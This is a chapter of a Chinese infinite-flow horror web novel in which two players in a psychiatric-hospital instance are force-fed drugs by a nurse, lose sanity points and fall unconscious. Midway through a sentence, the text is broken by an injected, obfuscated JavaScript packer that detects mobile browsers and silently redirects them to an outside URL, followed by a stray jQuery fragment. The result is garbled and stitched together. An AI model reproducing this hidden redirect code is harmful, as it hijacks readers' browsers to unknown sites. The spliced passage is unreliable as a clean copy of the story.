22. 404精神病院,祝您早日出院^^……

作品:《无限劳动力市场[无限]

    话音刚落,病房的门就被毫无预兆地推开,一道穿着素白护士服的身影径直走了进来。


    她脸上没有丝毫表情,眼神空洞,手里端着一个银灰色的金属发药盘,边缘泛着冷硬的光泽,格子上清晰地印着每种药对应的病房号与床牌号。


    姜照和乔一栗对视一眼——这个护士并不是之前那位带领她们登记的护士。


    护士第一个来的她们房间,发药盘里的药还是全的,姜照直起身,目光不自觉落在发药盘里,留意到里面的药物种类繁杂,各不相同,有片状的、颗粒状的,还有装在小玻璃瓶里的莫名液体。


    这家精神病院并非敷衍了事地给所有患者统一配发同一种药剂,意识到这一点,反而让姜照心底的不安愈发浓烈。


    乔一栗的病床靠近病房门口,护士脚步不停,径直走到她的床前,随手将沉甸甸的发药盘放在冰凉的床头柜上,发出一声轻微的碰撞声。


    她垂眸在药盘里精准地挑出配给乔一栗的药物——


    是一堆类似速效救心丸的棕褐色小颗粒药丸,粗粗一看,大概有三十几粒,被包在一张薄薄的药纸里,旁边还放着一个装有黄色药水的小玻璃瓶,液体浑浊不堪,里面漂浮着丝丝缕缕的不明絮状物,随着轻微的晃动缓缓沉浮,看着格外诡异。


    “请配合吃药。”护士将药递到乔一栗面前,声音干涩冰冷,没有一丝起伏。


    乔一栗死死盯着那包密密麻麻的小药丸,还有看着就让人头皮发麻的黄色药水,视线落在那些絮状物上,脑海里不受控制地联想到黏稠液体里待孵化的虫卵,密密麻麻的画面瞬间侵蚀了她的感官。


    胃率先做出了反应,不受控制地痉挛起来,翻江倒海的恶心感直冲喉咙,大脑还没来得及下达抗拒的指令,身体已经先一步做出了反应,强烈的排斥感让她浑身都泛起鸡皮疙瘩。


    乔一栗猛地捂住嘴,左手死死攥住床沿的铁栏杆,指节因为用力而泛白,喉咙里发出压抑的干呕声,却什么都吐不出来,眼眶很快就泛起一层薄薄的生理性水雾。


    护士只是站在原地,冷眼旁观着她的狼狈与挣扎,空洞的眼睛里甚至没有半点情绪波动。


    没过几秒,那道不近人情的冰冷声音再次响起,带着不容置疑的催促,一遍又一遍:“请患者乔一栗配合吃药。”


    见乔一栗浑身颤抖,始终不肯伸手接药,护士的耐心彻底耗尽,没有丝毫犹豫,猛地伸出手,一把掐住了乔一栗的下巴,强迫她抬起头。


    指尖的力道冰冷又狠厉,完全不顾乔一栗还在不停干呕,强硬地捏住她的两侧脸蛋,力道不断加大,指甲几乎要嵌进她的皮肉里。


    乔一栗疼得眯起眼睛,直到实在承受不住这股蛮力,被迫微微张开了嘴。


    护士见状,动作快得惊人,一把抓过药纸,将所有小颗粒药丸一股脑全部塞进她的口中,紧接着拿起那杯黄色药水,不由分说地往她嘴里灌。


    药水的苦涩腥气瞬间充斥口腔,药丸卡在喉咙里,不受控制的强烈恶心感疯狂反扑,乔一栗拼命扭动身体挣扎,双手胡乱挥舞着想要推开护士,眼泪顺着脸颊不断滑落,喉咙里发出呜咽的抗拒声。


    可护士力气大得惊人,丝毫不为所动,左手死死捂住她的嘴,不许她吐出分毫,直到感受到乔一栗的挣扎渐渐减弱,确定她将药物和药水全部咽了下去,才缓缓松开了手。


    松手的瞬间,护士还冷漠地捏着乔一栗的脸颊轻轻晃动了两下,确认口中没有残留药物后,才彻底收回手,熟练地仿佛刚才做的只是一件再平常不过的事。


    乔一栗失去钳制,立刻弯下腰,扶着床沿疯狂干呕,眼眶红得刺眼,喉咙里传来火辣辣的痛感,胃里依旧翻搅不止,整个人虚弱得几乎要瘫倒在病床上。


    护士就像完全没看到她的痛苦模样,动作机械地端起发药盘,转身走到姜照的病床前,连一个眼神都没分给一旁狼狈不堪的乔一栗。


    她从药盘里拿出三粒颜色各异且没有糖衣的药片,分别是黄、绿、红色,看着就格外苦涩,旁边同样配着一小瓶蓝色浓稠液体。


    护士将药片和玻璃瓶一起递到姜照面前,依旧是那句冰冷的话:“请配合吃药。”


    姜照垂在身侧的手指不受控制地痉挛几下,她的大脑就像坏掉一样,看着那黄、绿、红、蓝四色的药,诡异地想起来一直打交道的三相线和零线。


    刚才乔一栗被强行喂药的全过程,她看得一清二楚,明白吃药是不可避免的副本安排,是她们作为“患者”必须接受的“治疗”。


    可看着眼前这几粒一看就苦涩难咽的药片,还有那杯粘稠得让人反胃的蓝色液体,她心底的抗拒感达到了顶峰,身体就像是被那黄绿红蓝四线死死捆绑着,僵硬得动都动不了。


    趴在姜照旁边的伦纳感受到了她心底的恐惧与排斥,轻轻抬起毛茸茸的脑袋,用柔软的头顶了顶她冰冷的手腕,无声地传达着安慰与陪伴,温热的触感稍稍缓解了姜照心底的寒意。


    但护士没有耐心等他们互相取暖。


    眼见着姜照没有任何回应,护士重复之前强制性喂药的流程,声音里带上了一丝不易察觉的愉悦:“请患者姜照配合吃药。”


    说完,她的右手已经蓄势待发,手指微微张开,准备掐向姜照的下巴。


    那只手的阴影近在咫尺,姜照甚至都能闻到护士袖口传来的味道,刺鼻、又带着一种腥臭的腐朽气息,莫名有些熟悉。


    死到临头,躲无可躲,姜照这才升起一点破釜沉舟的勇气,与其被强行灌药,不如自己主动。


    在护士的手即将碰到自己下巴的前一秒,她猛地伸出手,一把抢过药片和蓝色药水,紧紧闭住眼睛,将三粒药片一股脑塞进嘴里,再仰头将杯中的浓稠液体全部灌入口中,喉咙用力一哽,硬生生将嘴里味道恶心到堪比公司食堂泔水的药物全部咽了下去。


    我不干净了。


    我要弄死这个副本。


    咽下药的瞬间,姜照的大脑一片空白,只有这两个念头不受控制地冒出来,疯狂盘旋。


    不知道是过度的心理排斥,还是药物本身的副作用,姜照泛起的恶心感格外强烈。


    胃部传来一阵又一阵剧烈的绞痛,她半跪在病床上,双手用力捂着胃部,身体弯成了一个扭曲的拱形,不停干呕着,却因为药物已经咽入腹中,什么都吐不出来,只有酸涩的胃液不断往上涌。


    刚吃下去的药就像是某些饭店里做工低劣的鹅肝,在胃里迅速融化开来,黏腻地糊在胃壁上,紧接着和胃液发生了剧烈的化学反应,整个过程就像脆弱的肠胃被焊接时飞溅出的火星不断灼烧,又疼又胀,痛苦又避无可避。


    姜照能感觉到药物在自己体内分解、渗透,那种被侵蚀的感觉比疼痛更加难以忍受,她整个人都陷入了极致的痛苦之中,意识渐渐变得恍惚,眼前阵阵发黑。


    不知过了多久,这种尖锐的痛苦和强烈的恶心感才渐渐减轻,姜照涣散的意识慢慢回笼。


    她虚弱地靠在床头,朦胧着眼睛环顾四周,才发现刚才那个送药的护士早已不知何时离开了,病房门没有关严,留着一条窄窄的缝隙。


    走廊里的冷风从这道缝隙里钻进来,姜照下意识一激灵,脑子也清醒一些,视线飘到眼前病床上同样虚弱的乔一栗。


    此时的乔一栗状态也差到了极点,她瘫软在病床上,脸色苍白如纸,嘴唇没有一丝血色,额头上布满了细密的冷汗,头发湿漉漉地贴在脸颊和脖颈上。


    她和姜照就像两条搁浅很久的鱼,浑身湿淋淋地躺在病床上,气息奄奄,身体不时地痉挛颤动几下,散发着一种仿佛即将腐烂的颓感。


    姜照蠕动几下嘴唇,想要开口说话,可声音虚弱得近乎听不到。


    伦纳满眼心疼地用小爪子,轻轻为她梳理贴在脸颊上凌乱不堪的头发,像是在对待一件易碎的瓷器,随后又抬起爪子,将姜照脖颈上的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17419225|200018||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    镜子项链小心翼翼取下来,银质的链子在空中晃出一道微光。


    它转头看了看乔一栗,又转头看向姜照,红宝石般的眼睛里带着询问的意味。


    姜照看懂了它的意思,虚弱地眨了眨眼。


    得到许可后,伦纳这才叼着镜子项链,轻盈一跃到乔一栗的病床上,把项链放到乔一栗摊开的手心里。


    完成任务后,他又回到姜照的身旁,蜷缩在她的臂弯里,用体温为她驱赶一些寒意。


    和伦纳可以在外面自由行动不一样,陈淑兰一直在镜子里焦急地看着外面的一切,却苦于无法现身帮忙,身影因愤怒和无力而微微颤抖。


    看到伦纳的举动,她瞬间明白了它的用意——


    和姜照签订契约后,她就不能再随意连接其他人的意识,可现在,以这面承载自己的镜子项链作为媒介,她就能快速建立起姜照和乔一栗之间的意识链接,让两人在虚弱的状态下,不用开口就能沟通。


    “一栗,听得到吗?”姜照隔着病床,看向乔一栗,在意识里轻声开口,“我们现在都太虚弱了,没办法大声说话,我用了点手段建立了咱们的意识链接,这样就能沟通了。”


    乔一栗感受到脑海里响起的声音,轻轻点了点头,在意识里回应,声音同样虚弱:“我还需要一点时间才能恢复行动能力,你怎么样了?”


    姜照眼睫轻轻垂下,病房里惨白的白炽灯照在她脸上,投下一片阴郁的阴影:“不太好受,这药一进喉咙就化开了,吐也吐不出来,不知道他们给我们喂的到底是什么药,会不会对身体造成什么不可逆的负面作用,会不会影响我们后续通关。”


    乔一栗同样也有这个顾虑:“我也有这个担心,这个副本很诡异,不宜久待,刚才我看到系统面板显示,一次吃药就掉了10点理智值。”


    “我们得尽快找到通关方法,否则再这样经历几次,我们就会彻底被精神污染,到时候就算手里有足够的积分,也会被这个副本异化、同化,永远都困在这里,再也出不去了。”


    “理智值?”姜照闻言,眼底满是茫然,这个词她只在最初觉醒“美丽的怪物”这个能力的时候听到过,之后便再也没留意过,“这个要在哪里查看?”


    “你之前从来没遇到过自带精神污染的副本吗?”乔一栗闻言,语气里带着一丝惊讶,耐心地在意识里解释。


    “每次进入副本,经历那种恐怖诡异的场面、察觉到自己精神受到冲击的时候,都要及时查看自己的系统面板状态,上面会清晰显示当前的理智值数值,还有副本环境、道具带来的buff或者debuff效果,以及这些效果的持续时间。”


    “理智值就类似于克苏鲁桌游戏跑团的san值,在副本里很重要,每次下降都会给自己的精神带来负面影响,低于30,整个精神世界就会开始崩坏,归零的话,就会被副本同化、异化,成为副本的一部分,再也出不去。”


    姜照若有所思地点了点头,随即又被乔一栗口中的新概念勾起了兴趣,继续在意识里问道:“道具?你说的道具是什么?我之前通关副本,从来没见过这类东西。”


    “道具是通关副本后系统随机发放的特殊奖励,出现的概率非常罕见,等级从D级到S级划分,副本的难度等级越高,通关结算时出现稀有道具的可能性也就越大。”乔一栗耐心解释,“在副本外的休息处,还有专门售卖道具的商店,只是价格都很昂贵……”


    话还没说完,乔一栗突然感到一阵来势汹汹的剧烈困意,如同潮水般瞬间席卷了全身,大脑变得昏沉无比,她拼命想要抵抗这股困意,努力睁大眼睛,可眼皮还是不受控制地越来越重,视线渐渐模糊。


    临闭上眼睛的前一秒,她看到的最后画面,是姜照那只纯白的小兔子身体软软地倒在她枕边,而姜照也和自己一样,即便满心抗拒,意识也渐渐模糊,最终还是缓缓闭上了双眼。


    病房里彻底陷入了死寂。